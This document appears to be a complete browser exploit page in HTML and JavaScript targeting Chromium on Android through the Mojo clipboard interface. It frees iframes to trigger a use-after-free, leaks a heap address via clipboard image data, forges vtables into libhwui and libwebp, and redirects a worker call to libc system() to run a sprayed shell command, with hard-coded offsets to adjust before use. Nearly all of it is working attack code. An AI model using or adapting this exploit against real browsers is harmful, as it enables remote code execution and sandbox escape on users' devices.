<html>
  <head>
    <script src="mojo_bindings.js"></script>
    <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
    <script>
      //Change these to the actual value before running
      const libhwuiOffset = 0x75d8dd4000n;
      const libcOffset = 0x75d962c000n;
      //Points to Execute in libwebp, offset from libhwui
      const executeOffset = 0x7db9a0n;
      const bitWriterOffset = 0x803e30n;

      //Offset to system in libc
      const systemOffset = 0x925b0n;
 
      //The offset of GetRoutingID in rfh's vtable
      const getRoutingIDOffset = 0x48n;
      const ifrmUrl = 'payment_request_clip2.html';
      const jamUrl = 'payment_request_jam_clip.html';

      const reloadUrl = 'payment_request_clip.html';

      const command = 'touch /data/data/org.chromium.chrome/pwn';
      //Up to 32 bytes maybe written by bit writer.
      const commandOffset = 0x28;
      clipboards = [];
      dataClipboards = [];
      images = [];


	  function sleep(miliseconds) {
	    var currentTime = new Date().getTime();
	    while (currentTime + miliseconds >= new Date().getTime()) {
	    }
	  }

      function computeAddress(image1, image2) {
        let addrBuffer = new ArrayBuffer(8);
        let addrIntView = new Uint8Array(addrBuffer);
        for (let i = 8; i < 8 + 5; i++) {
          if (i != 11) {
            addrIntView[i - 8] = image1[i];
          } else {
            addrIntView[i - 8] = image2[i];
          }
        }
        let addrBigIntView = new BigUint64Array(addrBuffer);
        return addrBigIntView[0];
      }

      function createIframe(id, src) {
	    let iframe = document.createElement('iframe');
	    iframe.style.display="none";
	    iframe.setAttribute('id', id);
        if (src !== undefined) {
	      iframe.src = src;
        }
	    document.body.appendChild(iframe);
      }
       
      function removeIframe(id) {
	    let frame = document.getElementById(id);
	    frame.parentNode.removeChild(frame);
      }

      function runCommand(addr) {
        window.location = reloadUrl + '?addr=' + addr.toString();
      }

      function readClipboard() {
        clipboards[0].commitWrite();
        sleep(1000);
        clipboards[0].readImage(1).then(readImg);
        sleep(500);
        clipboards[1].commitWrite();
        sleep(1000);
        clipboards[1].readImage(1).then(readImg);
      }

      function readImg(image) {
        if (image.image === null) {
          console.log('Failed to obtain read clipboard');
          window.location = reloadUrl;
        }
        let imageData = new Uint8Array(image.image.pixelData.bytes);
        images.push(imageData);
        if (images.length == 2) {
          let addr = computeAddress(images[0], images[1]);
          if (addr < 0xffffffffn) {
            console.log('Failed to obtain address: ' + addr.toString(16));
            window.location = reloadUrl;
          }
          console.log('addr: ' + addr.toString(16));
          runCommand(addr);
        }
      }

      function readAddress(bitmap1, bitmap2) {
        createIframe('ifrm', ifrmUrl);
        createIframe('ifrm1', ifrmUrl);
        createIframe('jam', jamUrl);
        setTimeout(()=> {
          removeIframe('ifrm');
          clipboards[0].writeImage(bitmap1);
          removeIframe('ifrm1');
          clipboards[1].writeImage(bitmap2);
          dataClipboards[29].ptr.reset();
          dataClipboards[30].ptr.reset();
          setTimeout(readClipboard, 3000);
        }, 3000);
      }

      function createBitmap(alphaType, width, vtable) {
        let data = new ArrayBuffer(width * width * 4);
        if (vtable !== undefined) {
          let view = new BigUint64Array(data);
          view[0] = vtable;
        }
        let colorSpace = new Array(9);
        let imageInfo = new skia.mojom.ImageInfo();
        imageInfo.colorType = 4;
        imageInfo.alphaType = alphaType;
        imageInfo.serializedColorSpace = colorSpace;
        imageInfo.width = width;
        imageInfo.height = width;
        let bigBuffer = new mojoBase.mojom.BigBuffer();
        bigBuffer.bytes = new Uint8Array(data);
        let bitmap = new skia.mojom.Bitmap();
        bitmap.imageInfo = imageInfo;
        bitmap.rowBytes = width * 4;
        bitmap.pixelData = bigBuffer;
        return bitmap;
      }

      function createClipboards(n, clipboardArr) {
        for (let i = 0; i < n; i++) {
          let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
          Mojo.bindInterface(blink.mojom.ClipboardHost.name,
                            mojo.makeRequest(clipboard_ptr).handle);
          clipboardArr.push(clipboard_ptr);
        }
      }


      function sprayCommand() {
        let dataBitmap = createBitmap(1, 16);
        let data = dataBitmap.pixelData.bytes;
        for (let i = 0; i < command.length; i++) {
          data[commandOffset + i] = command.charCodeAt(i);
        }
        for (let i = 0; i < dataClipboards.length; i++) {
          dataClipboards[i].writeImage(dataBitmap);
        }
      }

      function load() {
        let addrIdx = window.location.href.search('addr');
        if (addrIdx == -1) {
          let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset;
          createClipboards(2, clipboards);
          createClipboards(32, dataClipboards);
          sprayCommand();
          let bitmap1 = createBitmap(1, 32, vtable);
          let bitmap2 = createBitmap(2, 32, vtable);
          readAddress(bitmap1, bitmap2);
        } else {
          createClipboards(1, clipboards);
          sleep(2000);
          let addr = BigInt(window.location.href.substring(addrIdx + 5));
          if (addr == 0) {
            window.location = reloadUrl;
          }
          let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset;
          let bitmap = createBitmap(1, 32, vtable);
          //fake WebPWorker
          let view = new BigUint64Array(bitmap.pixelData.bytes.buffer);
          view[2] = libcOffset + systemOffset;
          view[3] = addr + BigInt(commandOffset);
          createIframe('ifrm', ifrmUrl);
          createIframe('jam', jamUrl);
          setTimeout(() => {
            removeIframe('ifrm');
            clipboards[0].writeImage(bitmap);
            console.log('done');
          }, 3000);
        }
      }
  </script>
  <body onload="load()">
    <a href="payment_request_clip.html">reload</a>
  </body>
</html>
